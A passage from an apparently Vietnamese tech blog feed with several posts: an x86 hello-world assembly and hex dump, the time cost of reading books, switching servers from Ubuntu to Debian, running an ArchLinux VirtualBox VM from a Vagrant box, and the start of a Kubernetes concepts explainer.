<span class="nl">_start:</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="mi">0x4</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">ebx</span><span class="p">,</span><span class="w"> </span><span class="mi">0x1</span><span class="w"></span>
<span class="w"> </span><span class="nf">lea</span><span class="w"> </span><span class="no">ecx</span><span class="p">,</span><span class="w"> </span><span class="p">[</span><span class="no">message</span><span class="p">]</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">edx</span><span class="p">,</span><span class="w"> </span><span class="mi">0xf</span><span class="w"></span>
<span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="mi">0x80</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">eax</span><span class="p">,</span><span class="w"> </span><span class="mi">0x1</span><span class="w"></span>
<span class="w"> </span><span class="nf">mov</span><span class="w"> </span><span class="no">ebx</span><span class="p">,</span><span class="w"> </span><span class="mi">0x0</span><span class="w"></span>
<span class="w"> </span><span class="nf">int</span><span class="w"> </span><span class="mi">0x80</span><span class="w"></span>
<span class="na">.data</span><span class="w"></span>
<span class="nl">message:</span><span class="w"></span>
<span class="w"> </span><span class="na">.ascii</span><span class="w"> </span><span class="s">"Hello, PyMivn!\n"</span><span class="w"></span>
</code></pre></div>
<h4>Hex view xxd</h4>
<p>xxd in ra mã <a href="https://n.pymi.vn/byt351.html">hex</a> của từng byte.</p>
<div class="highlight"><pre><span></span><code>$ whatis xxd
xxd <span class="o">(</span><span class="m">1</span><span class="o">)</span> - make a hexdump or <span class="k">do</span> the reverse.
</code></pre></div>
<div class="highlight"><pre><span></span><code>$ xxd a.out <span class="p">|</span> grep -v <span class="s1">'0000 0000 0000 0000 0000 0000 0000 0000'</span>
<span class="m">00000000</span>: 7f45 4c46 <span class="m">0201</span> <span class="m">0100</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> .ELF............
<span class="m">00000010</span>: <span class="m">0200</span> 3e00 <span class="m">0100</span> <span class="m">0000</span> <span class="m">0010</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ..>.......@.....
<span class="m">00000020</span>: <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">5821</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> @.......X!......
<span class="m">00000030</span>: <span class="m">0000</span> <span class="m">0000</span> <span class="m">4000</span> <span class="m">3800</span> <span class="m">0300</span> <span class="m">4000</span> <span class="m">0600</span> <span class="m">0500</span> ....@.8...@.....
<span class="m">00000040</span>: <span class="m">0100</span> <span class="m">0000</span> <span class="m">0400</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ................
<span class="m">00000050</span>: <span class="m">0000</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ..@.......@.....
<span class="m">00000060</span>: e800 <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> e800 <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ................
<span class="m">00000070</span>: <span class="m">0010</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0100</span> <span class="m">0000</span> <span class="m">0500</span> <span class="m">0000</span> ................
<span class="m">00000080</span>: <span class="m">0010</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0010</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ..........@.....
<span class="m">00000090</span>: <span class="m">0010</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">2200</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ..@.....<span class="s2">".......</span>
<span class="s2">000000a0: 2200 0000 0000 0000 0010 0000 0000 0000 "</span>...............
000000b0: <span class="m">0100</span> <span class="m">0000</span> <span class="m">0600</span> <span class="m">0000</span> <span class="m">0020</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ......... ......
000000c0: <span class="m">0020</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0020</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> . @...... @.....
000000d0: 0f00 <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> 0f00 <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ................
000000e0: <span class="m">0010</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ................
<span class="m">00001000</span>: b804 <span class="m">0000</span> 00bb <span class="m">0100</span> <span class="m">0000</span> b900 <span class="m">2040</span> 00ba ............ @..
<span class="m">00001010</span>: 0f00 <span class="m">0000</span> cd80 b801 <span class="m">0000</span> 00bb <span class="m">0000</span> <span class="m">0000</span> ................
<span class="m">00001020</span>: cd80 <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ................
<span class="m">00002000</span>: <span class="m">4865</span> 6c6c 6f2c <span class="m">2050</span> 794d <span class="m">6976</span> 6e21 0a00 Hello, PyMivn!..
<span class="m">00002020</span>: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0300</span> <span class="m">0100</span> ................
<span class="m">00002030</span>: <span class="m">0010</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ..@.............
<span class="m">00002040</span>: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0300</span> <span class="m">0200</span> <span class="m">0020</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ......... @.....
<span class="m">00002050</span>: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0100</span> <span class="m">0000</span> <span class="m">0400</span> f1ff ................
<span class="m">00002070</span>: <span class="m">0900</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0200</span> <span class="m">0020</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ......... @.....
<span class="m">00002080</span>: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">1100</span> <span class="m">0000</span> <span class="m">0000</span> f1ff ................
<span class="m">00002090</span>: 0f00 <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ................
000020a0: 1a00 <span class="m">0000</span> <span class="m">1000</span> <span class="m">0100</span> <span class="m">0010</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ..........@.....
000020b0: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">1500</span> <span class="m">0000</span> <span class="m">1000</span> <span class="m">0200</span> ................
000020c0: 0f20 <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> . @.............
000020d0: <span class="m">2100</span> <span class="m">0000</span> <span class="m">1000</span> <span class="m">0200</span> 0f20 <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> !........ @.....
000020e0: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">2800</span> <span class="m">0000</span> <span class="m">1000</span> <span class="m">0200</span> ........<span class="o">(</span>.......
000020f0: <span class="m">1020</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> . @.............
<span class="m">00002100</span>: <span class="m">0068</span> 656c 6c6f 2e6f 006d <span class="m">6573</span> <span class="m">7361</span> <span class="m">6765</span> .hello.o.message
<span class="m">00002110</span>: 006c 656e 005f 5f62 <span class="m">7373</span> 5f73 <span class="m">7461</span> <span class="m">7274</span> .len.__bss_start
<span class="m">00002120</span>: 005f <span class="m">6564</span> <span class="m">6174</span> <span class="m">6100</span> 5f65 6e64 <span class="m">0000</span> 2e73 ._edata._end...s
<span class="m">00002130</span>: 796d <span class="m">7461</span> <span class="m">6200</span> 2e73 <span class="m">7472</span> <span class="m">7461</span> <span class="m">6200</span> 2e73 ymtab..strtab..s
<span class="m">00002140</span>: <span class="m">6873</span> <span class="m">7472</span> <span class="m">7461</span> <span class="m">6200</span> 2e74 <span class="m">6578</span> <span class="m">7400</span> 2e64 hstrtab..text..d
<span class="m">00002150</span>: <span class="m">6174</span> <span class="m">6100</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ata.............
<span class="m">00002190</span>: <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> 1b00 <span class="m">0000</span> <span class="m">0100</span> <span class="m">0000</span> ................
000021a0: <span class="m">0600</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0010</span> <span class="m">4000</span> <span class="m">0000</span> <span class="m">0000</span> ..........@.....
000021b0: <span class="m">0010</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">2200</span> <span class="m">0000</span> <span class="m">0000</span> <span class="m">0000</span> ........<span class="s2">".......</span>
<span class="s2">000021c0: 0000 0000 0000 0000 0100 0000 0000 0000 ................</span>
<span class="s2">000021d0: 0000 0000 0000 0000 2100 0000 0100 0000 ........!.......</span>
<span class="s2">000021e0: 0300 0000 0000 0000 0020 4000 0000 0000 ......... @.....</span>
<span class="s2">000021f0: 0020 0000 0000 0000 0f00 0000 0000 0000 . ..............</span>
<span class="s2">00002200: 0000 0000 0000 0000 0100 0000 0000 0000 ................</span>
<span class="s2">00002210: 0000 0000 0000 0000 0100 0000 0200 0000 ................</span>
<span class="s2">00002230: 1020 0000 0000 0000 f000 0000 0000 0000 . ..............</span>
<span class="s2">00002240: 0400 0000 0600 0000 0800 0000 0000 0000 ................</span>
<span class="s2">00002250: 1800 0000 0000 0000 0900 0000 0300 0000 ................</span>
<span class="s2">00002270: 0021 0000 0000 0000 2d00 0000 0000 0000 .!......-.......</span>
<span class="s2">00002280: 0000 0000 0000 0000 0100 0000 0000 0000 ................</span>
<span class="s2">00002290: 0000 0000 0000 0000 1100 0000 0300 0000 ................</span>
<span class="s2">000022b0: 2d21 0000 0000 0000 2700 0000 0000 0000 -!......'.......</span>
<span class="s2">000022c0: 0000 0000 0000 0000 0100 0000 0000 0000 ................</span>
<span class="s2">000022d0: 0000 0000 0000 0000 ........</span>
</code></pre></div>
<p>Bài viết thực hiện trên Ubuntu 20.04.</p>
<h3>Tham khảo</h3>
<p>Free books:</p>
<ul>
<li><a href="https://en.wikibooks.org/wiki/X86_Assembly">https://en.wikibooks.org/wiki/X86_Assembly</a></li>
<li><a href="https://0xinfection.github.io/reversing/">https://0xinfection.github.io/reversing/</a></li>
<li><a href="https://pacman128.github.io/static/pcasm-book.pdf">https://pacman128.github.io/static/pcasm-book.pdf</a></li>
<li><a href="https://mirror.ossplanet.net/nongnu/pgubook/ProgrammingGroundUp-1-0-booksize.pdf">https://mirror.ossplanet.net/nongnu/pgubook/ProgrammingGroundUp-1-0-booksize.pdf</a></li>
<li><a href="http://www.egr.unlv.edu/~ed/assembly64.pdf">http://www.egr.unlv.edu/~ed/assembly64.pdf</a></li>
<li><a href="https://beginners.re/">Reverse Engineering for Beginners</a></li>
<li>More at <a href="https://www.linuxlinks.com/excellent-free-books-learn-assembly/">https://www.linuxlinks.com/excellent-free-books-learn-assembly/</a></li>
</ul>
<h3>Kết luận</h3>
<p>Viết helloworld.asm không quá khó.</p>
<p>Happy hacking!</p>Đọc một quyển sách 400 nghìn tốn bao nhiêu?2022-10-06T00:00:00+07:002022-10-06T00:00:00+07:00hvntag:familug.github.io,2022-10-06:/doc-mot-quyen-sach-400-nghin-ton-bao-nhieu.html<ul>
<li>Sách là một người bạn</li>
<li>Sách là trí tuệ</li>
<li>Sách là một hình thức giải trí như film</li>
<li>... blah blah blah ...</li>
</ul>
<p>Đối với mỗi người sách là một thứ khác nhau. Nếu mua một cuốn sách giá 400.000 VND, thì đọc nó tốn bao nhiêu?</p>
<p>Câu trả lời không …</p><ul>
<li>Sách là một người bạn</li>
<li>Sách là trí tuệ</li>
<li>Sách là một hình thức giải trí như film</li>
<li>... blah blah blah ...</li>
</ul>
<p>Đối với mỗi người sách là một thứ khác nhau. Nếu mua một cuốn sách giá 400.000 VND, thì đọc nó tốn bao nhiêu?</p>
<p>Câu trả lời không thực sự dễ dàng.</p>
<p><img alt="img" src="https://images.unsplash.com/photo-1481627834876-b7833e8f5570?ixlib=rb-1.2.1&dl=janko-ferlic-sfL_QOnmy00-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb"></p>
<p>Photo by <a href="https://unsplash.com/@itfeelslikefilm?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">🇸🇮 Janko Ferlič</a> on <a href="https://unsplash.com/s/photos/book?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<p>Lấy vị dụ cuốn <a href="https://nhasachphuongnam.com/vi/1q84-books-1-2-and-3.html">1Q84 của Haruki Murakami bản tiếng Anh dày 1328</a>, với tốc độ đọc 3 phút 1 trang, thì mất</p>
<div class="highlight"><pre><span></span><code><span class="o">>>></span> <span class="mi">1328</span><span class="o">*</span><span class="mi">3</span>
<span class="mi">3984</span> <span class="n">phút</span>
<span class="o">>>></span> <span class="mi">1328</span><span class="o">*</span><span class="mi">3</span> <span class="o">/</span> <span class="mi">60</span>
<span class="mf">66.4</span> <span class="n">giờ</span>
</code></pre></div>
<p>66 tiếng (nếu mỗi ngày dành 1 tiếng đọc thì sau 2 tháng sẽ đọc xong, 1 năm đọc được 6 quyển).</p>
<p>Một tháng, 1 người lao động văn phòng đi làm ~168 tiếng.</p>
<p>Với <a href="https://topdev.vn/blog/muc-luong-lap-trinh-vien-nam-2021/#muc-luong-lap-trinh-vien-dua-vao-trinh-do">mức lương trung bình 2021 của 1 lập trình viên Python có ~ 5 năm kinh nghiệm ở VN là ~1000 USD, 23 triệu/tháng</a>. Thì thời gian để đọc hết cuốn sách này trị giá:</p>
<div class="highlight"><pre><span></span><code><span class="o">>>></span> <span class="n">usd_rate</span> <span class="o">=</span> <span class="mi">24000</span>
<span class="o">>>></span> <span class="mi">66</span><span class="o">/</span><span class="mi">168</span> <span class="o">*</span> <span class="mi">1000</span> <span class="o">*</span> <span class="n">usd_rate</span>
<span class="mf">9428571.428571427</span>
</code></pre></div>
<p>Tức khoảng 9.5 triệu VND tại thời điểm hiện tại.</p>
<p>Như vậy, trừ khi thời gian là miễn phí, việc mua 1 cuốn sách chỉ tốn một phần nhỏ số tiền bỏ ra, nhưng thời gian để đọc nó có thể tốn gấp hơn 20 lần.</p>
<p>Vậy nên hãy chắc chắn đọc được những thứ đáng giá. Đừng nghĩ đọc sách là rẻ (hơn ra rạp ăn bỏng ngô và xem film và...).</p>
<h3>Vài cuốn sách đắt giá theo độ dày</h3>
<ul>
<li>Moby Dick - 732 trang <a href="https://nhasachphuongnam.com/vi/moby-dick-ca-voi-trang-vi.html">https://nhasachphuongnam.com/vi/moby-dick-ca-voi-trang-vi.html</a> - vi</li>
<li>Dune - 714 trang <a href="https://nhasachphuongnam.com/vi/dune-xu-cat-tai-ban-nam-2021.html">https://nhasachphuongnam.com/vi/dune-xu-cat-tai-ban-nam-2021.html</a> - vi</li>
<li>Harry potter & chiếc cốc lửa - 922 trang <a href="https://nhasachphuongnam.com/vi/harry-potter-va-chiec-coc-lua-tap-4-tai-ban-nam-2022.html">https://nhasachphuongnam.com/vi/harry-potter-va-chiec-coc-lua-tap-4-tai-ban-nam-2022.html</a> - vi</li>
<li>Anh Em Nhà Karamazov - 992 trang <a href="https://nhasachphuongnam.com/vi/anh-em-nha-karamazov-bia-mem.html">https://nhasachphuongnam.com/vi/anh-em-nha-karamazov-bia-mem.html</a> - vi</li>
<li>Anathem - 1008 <a href="https://www.amazon.com/Anathem-Neal-Stephenson/dp/006147410X">https://www.amazon.com/Anathem-Neal-Stephenson/dp/006147410X</a> - en</li>
</ul>
<h3>Kết luận</h3>
<p>Khi mua một cuốn sách, bạn sẽ phải trả thêm một chi phí không nhỏ để đọc nó.</p>
<h3>Tham khảo</h3>
<p><a href="https://www.raptitude.com/2022/01/everything-must-be-paid-for-twice/">https://www.raptitude.com/2022/01/everything-must-be-paid-for-twice/</a></p>
<p>Hết.</p>Không bấm phím Enter để bật máy đang sleep/suspend2022-10-05T00:00:00+07:002022-10-05T00:00:00+07:00hvntag:familug.github.io,2022-10-05:/khong-bam-phim-enter-de-bat-may-dang-sleepsuspend.html<p>Ngày nay chuyện để máy tính suspend/sleep trở nên rất phổ biến, thậm chí với nhiều laptop, còn không bao giờ tắt máy.
Khi để máy sleep/suspend, người dùng sẽ phải gõ phím để "đánh thức" máy dậy, và thường thì thói quen có thể là gõ phím …</p><p>Ngày nay chuyện để máy tính suspend/sleep trở nên rất phổ biến, thậm chí với nhiều laptop, còn không bao giờ tắt máy.
Khi để máy sleep/suspend, người dùng sẽ phải gõ phím để "đánh thức" máy dậy, và thường thì thói quen có thể là gõ phím "Enter".</p>
<p><img alt="img" src="https://images.unsplash.com/photo-1511920170033-f8396924c348?ixlib=rb-1.2.1&dl=nathan-dumlao-Y3AqmbmtLQI-unsplash.jpg&w=640&q=80&fm=jpg&crop=entropy&cs=tinysrgb"></p>
<p>Photo by <a href="https://unsplash.com/@nate_dumlao?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Nathan Dumlao</a> on <a href="https://unsplash.com/s/photos/coffee?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a></p>
<p>Phím Enter thường gắn kèm tính năng như "gửi đi", hay xác nhận, nói chung là các hành động có gây ra kết quả (hậu quả). Khi màn hình đang đen xì, gõ Enter sẽ rất nguy hiểm nếu như:</p>
<ul>
<li>máy bàn, tắt màn hình, cửa sổ đang chờ xác nhận gì đó</li>
<li>máy laptop, đang giảm sáng màn hết cỡ, trong 1 cửa sổ chat</li>
</ul>
<p>Gõ enter lúc này có thể gây ra hậu quả khôn lường.</p>
<h3>Kết luận</h3>
<p>Vì vậy, hãy dùng một phím khác an toàn hơn, như phím Space hay Tab chẳng hạn.</p>
<p>Hết.</p>Tạm biệt Ubuntu, chào Debian2022-10-04T00:00:00+07:002022-10-04T00:00:00+07:00hvntag:familug.github.io,2022-10-04:/tam-biet-ubuntu-chao-debian.html<p>Ubuntu là distro đầu tiên đưa mình vào thế giới Linux, thế giới không Windows, với phiên bản 8.04.
Nó cũng đi cùng luôn sự nghiệp khi đa phần server đều dùng Ubuntu.</p>
<p><a href="https://pymi.vn">https://pymi.vn</a> ra đời năm 2015, chạy trên Ubuntu 14.04, sau 3 lần upgrade …</p><p>Ubuntu là distro đầu tiên đưa mình vào thế giới Linux, thế giới không Windows, với phiên bản 8.04.
Nó cũng đi cùng luôn sự nghiệp khi đa phần server đều dùng Ubuntu.</p>
<p><a href="https://pymi.vn">https://pymi.vn</a> ra đời năm 2015, chạy trên Ubuntu 14.04, sau 3 lần upgrade</p>
<ul>
<li>sang 16.04, thay toàn bộ Upstart init file bằng systemd</li>
<li>sang 18.04, thay Python2 bằng Python3</li>
</ul>
<p>thì lần này, mình quyết định chuyển sang dùng Debian.</p>
<p><img alt="debian" src="https://www.debian.org/Pics/debian-logo-1024x576.png"></p>
<p>Debian không mới, nó là distro mà chính Ubuntu dựa trên, chỉ có một cộng đồng rất lớn,
không có công ty đứng sau.</p>
<p>Lý do vì ở phía server, ngày nay không có gì chỉ chạy trên Ubuntu mà ko chạy
trên Debian cả.</p>
<p>Debian cũng không có <a href="https://blog.bityard.net/articles/2019/August/rabbit-holes-the-secret-to-technical-expertise">câu chuyện đáng sợ về motd luôn gọi về server của Ubuntu để
chạy quảng cáo</a>. Mà nếu để ý, các docker file chính thức đều dùng Debian, điển hình
như <a href="https://github.com/docker-library/python/tree/master/3.11-rc/bullseye">Python bullseye</a></p>
<p>Việc sử dụng server debian thì gần như không khác gì Ubuntu, cấu trúc thư mục vẫn vậy,
apt vẫn vậy.</p>
<h2>Không phải toàn màu hồng</h2>
<ul>
<li>năm 2021, đã từng thử cài debian trên desktop, mà lần bật lên đầu tiên bị lỗi window server (lightdm), nghỉ.
Nếu còn trẻ, rảnh, thì có lẽ sẽ ngồi tìm hiểu tại sao, rồi fix, nhưng khi chỉ muốn có cái máy chạy được thì lại quay về Ubuntu 20.04.</li>
<li>vì một lý do nào đó, <a href="https://familug.github.io/cai-dat-va-chay-may-ao-archlinux-tren-virtualbox-6-trong-10-phut.html">tải file vagrant box về dùng</a> không đăng nhập được bằng tài khoản mặc định (vagrant:vagrant)? -> UPDATE: <a href="https://salsa.debian.org/cloud-team/debian-vagrant-images/-/blob/1537c105c27e183d7b6e06a925d142cf373c5f6b/config_space/scripts/VAGRANT/10-rootpw">solved -> user root pass vagrant</a>.</li>
</ul>
<h2>Tài liệu</h2>
<p>Debian Admin handbook <a href="https://www.debian.org/doc/manuals/debian-handbook/">https://www.debian.org/doc/manuals/debian-handbook/</a></p>
<h3>Kết luận</h3>
<p>Dùng Debian cho server là một điều hoàn toàn hợp lý.</p>
<p>Happy hacking!</p>Cài đặt và chạy máy ảo ArchLinux trên VirtualBox 6 trong 10 phút2022-05-27T00:00:00+07:002022-05-27T00:00:00+07:00hvntag:familug.github.io,2022-05-27:/cai-dat-va-chay-may-ao-archlinux-tren-virtualbox-6-trong-10-phut.html<p>Nếu vì một lý do gì bạn không dùng vagrant (không muốn cài Ruby chẳng hạn),
việc tạo máy ảo Arch trên VirtualBox không có gì phức tạp với Vagrant box.</p>
<p>Thay vì phải <a href="https://wiki.archlinux.org/title/Installation_guide">lo cài ArchLinux</a>, tải sẵn ngay box build sẵn bởi Vagrant.</p>
<h3>Tải ArchLinux vagrant box</h3>
<p>Truy …</p><p>Nếu vì một lý do gì bạn không dùng vagrant (không muốn cài Ruby chẳng hạn),
việc tạo máy ảo Arch trên VirtualBox không có gì phức tạp với Vagrant box.</p>
<p>Thay vì phải <a href="https://wiki.archlinux.org/title/Installation_guide">lo cài ArchLinux</a>, tải sẵn ngay box build sẵn bởi Vagrant.</p>
<h3>Tải ArchLinux vagrant box</h3>
<p>Truy cập https://app.vagrantup.com/archlinux/boxes/archlinux
tải file dành cho virtualbox</p>
<p><a href="https://app.vagrantup.com/archlinux/boxes/archlinux/versions/20220515.56564/providers/virtualbox.box">virtualbox Hosted by Vagrant Cloud (465 MB)</a>
nhẹ hơn nhiều so với <a href="https://archlinux.org/download/">đĩa cài <code>ISO Size: 826.3 MB</code></a></p>
<p>Giải nén với <code>tar xvf virtualbox.box</code> sẽ thấy ra file
box.ovf, packer-virtualbox.vmdk và một vài file ko quan trọng khác.</p>
<h3>Import file OVF</h3>
<p>File > Import Appliance > chọn file box.ovf > next next...</p>
<p>Sau đó chọn Settings > Network > Adapter 1 > NAT > Port forwarding,
thêm một dòng mới, chọn host port là 1 số từ 2222 đến 22XX,
Guest Port là 22.</p>
<p><img alt="Port forwarding" src="https://familug.github.io/images/portforwarding.png"></p>
<p>File box.ovf này là 1 file XML, có định nghĩa cấu hình của máy sẽ được tạo,
trong đó nó sử dụng file packer-virtualbox.vmdk làm ổ cứng dynamic size với
kích thước tối đa là 20GB.</p>
<p>Bật máy ảo lên, đăng nhập với vagrant/vagrant, gõ <code>sudo systemctl start sshd</code>
để bật SSH server. Tắt máy đi.</p>
<h3>SSH vào ArchLinux</h3>
<p>Chuột phải chọn máy ảo > Start > Headless start.
Chờ vài giây rồi ssh vào máy:</p>
<div class="highlight"><pre><span></span><code><span class="n">ssh</span><span class="w"> </span><span class="n">vagrant</span><span class="mf">@127.0.0.1</span><span class="w"> </span><span class="o">-</span><span class="n">p</span><span class="w"> </span><span class="mi">2222</span><span class="w"></span>
</code></pre></div>
<p>Nhập password mặc định: <code>vagrant</code></p>
<div class="highlight"><pre><span></span><code>$ ssh vagrant@localhost -p2222
vagrant@localhost<span class="err">'</span>s password:
Last login: Fri May <span class="m">27</span> <span class="m">13</span>:50:13 <span class="m">2022</span> from <span class="m">10</span>.0.2.2
<span class="o">[</span>vagrant@archlinux ~<span class="o">]</span>$
<span class="o">[</span>vagrant@archlinux ~<span class="o">]</span>$ uname -a
Linux archlinux <span class="m">5</span>.17.7-arch1-1 <span class="c1">#1 SMP PREEMPT Thu, 12 May 2022 18:55:54 +0000 x86_64 GNU/Linux</span>
</code></pre></div>
<h3>Cài đặt phần mềm bằng pacman</h3>
<div class="highlight"><pre><span></span><code>pacman -Syu # upgrade
pacman -S vim git tmux
</code></pre></div>
<p>Xong.</p>
<h3>Kết luận</h3>
<p>Thay vì phải lo tải đĩa về cài từ đầu, dùng sẵn box của vagrant rất tiện lợi,
tốn ít dung lượng. ArchLinux đi kèm với các phần mềm phiên bản mới nhất,
rất thích hợp dùng làm máy ảo để khám phá.</p>
<p>Happy Arching.</p>Dùng kubernetes không phức tạp hơn việc thường ngày của sysadmin2021-11-14T00:00:00+07:002021-11-14T00:00:00+07:00hvntag:familug.github.io,2021-11-14:/dung-kubernetes-khong-phuc-tap-hon-viec-thuong-ngay-cua-sysadmin.html<p>Bài viết dành cho các sysadmin/DevOps:</p>
<ul>
<li>Những người nghe nói đến K8S và các lời chê về sự phức tạp của nó</li>
<li>Những người định học dùng K8S mà ngại nhiều khái niệm mới.</li>
</ul>
<p>Những người có kiến thức về các hệ thống trước "thời" Kubernetes (K8S), giúp kết …</p><p>Bài viết dành cho các sysadmin/DevOps:</p>
<ul>
<li>Những người nghe nói đến K8S và các lời chê về sự phức tạp của nó</li>
<li>Những người định học dùng K8S mà ngại nhiều khái niệm mới.</li>
</ul>
<p>Những người có kiến thức về các hệ thống trước "thời" Kubernetes (K8S), giúp kết nối các khái niệm, hiểu lý do tại sao K8S lại phức tạp đến thế.</p>
<p><img src="https://kubernetes.io/images/wheel.svg" width=600></p>
<p>Để <strong>dùng</strong> K8S, người dùng sẽ gặp phải một loạt các khái niệm:</p>
<ul>
<li>pod</li>
<li>deployment</li>
<li>rollout</li>
<li>replicaset</li>
<li>daemonset</li>
<li>service</li>
<li>configmap</li>
<li>secret</li>
<li>namespace</li>
<li>resourcequota</li>
<li>persistentVolume</li>
<li>PersistentVolumeClaim</li>
</ul>
<p>Sau đó các khái niệm ngoài K8S, các tool dùng với K8S như:</p>
<ul>
<li>helm/chart</li>
<li>...</li>
</ul>
<p>tất cả các khái niệm này đều không mới, chỉ là các tên mới dành cho hệ thống dùng container, tương đương với các khái niệm/kiến thức khi quản trị một hệ thống server truyền thống (máy ảo/máy vật lý).</p>
<h3>Pod</h3>
<p>Pod là đơn vị nhỏ nhất được quản lý trong K8S. Pod là một hoặc nhiều container cùng bật cùng tắt, cùng chung IP, cùng chung ổ cứng. Vì mỗi container thường là một 1 process, nên nếu cần chạy 2 process khác nhau thì cần có 2 container. Trên server Linux truyền thống, nếu cần chạy 1 service (systemd) và muốn chạy 1 script mỗi ngày, người ta có thể dễ dàng dùng cron, cron luôn được cài sẵn, luôn có ở đó. Trong thế giới container, muốn chạy 1 process là cần bật 1 container mới. Một pod có thể chứa 1 container chạy chương trình chính, 1 container chạy cron.</p>
<p>Người mới dùng container (như Docker), sẽ thường hỏi: <a href="https://stackoverflow.com/questions/37458287/how-to-run-a-cron-job-inside-a-docker-container">làm thế nào để chạy cron trong container</a>:</p>
<blockquote>
<p>Trả lời ngắn gọn: bật thêm 1 container chạy crond.</p>
</blockquote>
<p>Khi K8S đã có khái niệm cronjob thì không cần chạy container trong pod để chạy cron như nói trên nữa, nhưng pod vẫn có thể chứa các container chạy thứ khác.</p>
<p>Pod thường được config tự restart khi tắt, tương tự tác dụng quan trọng của các hệ thống init như Systemd hay Upstart, SysV.</p>
<h3>Deployment</h3>
<p>Một deployment chứa 1 replicaset.
Một replicaset lo việc chạy N pod hay gọi là N replicas.
Khi tạo 1 deployment nginx với replicas=5, nó sẽ tạo ra 5 pods, dễ dàng tăng giảm số replica.</p>
<p>deployment lo chuyện ... deploy. Khi deploy (triển khai) một phiên bản mới của phần mềm, sysadmin sẽ phải lo xử lý bản cũ, làm thế nào để deploy, cho người dùng truy cập vào bản mới bản cũ ra sao, theo các chiến thuật nào: <a href="https://spinnaker.io/docs/concepts/#deployment-strategies">blue-green, canary, rolling?</a></p>
<p>Bài toán này luôn tồn tại khi cần deploy một phần mềm, một hệ thống, chưa bao giờ biến mất. Không dùng K8S, sysadmin sẽ phải dùng tool khác, hoặc tự xây dựng theo một mô hình với các tool dùng khi deploy như Jenkins, ansible, bash...</p>
<h3>Daemonset</h3>
<p>daemonset liên quan tới "chuyện của kubernetes": khi cần đảm bảo mỗi node của K8S cần có duy nhất 1 pod chạy một chương trình (thường là các "agent" xử lý logging/metrics để các pod trên cùng node gửi log/metric qua "agent" này tới nơi tập trung), daemonset đảm bảo tính duy nhất trên mỗi node và có ở mọi node.</p>
<p>Vấn đề này cũng tồn tại trong hệ thống truyền thống, mọi server đều cần cài logging agent (fluentd/filebeat...) /metric agent (nếu dùng pull model như prometheus, hay push sử dụng statsd).</p>
<h3>PersistentVolume</h3>
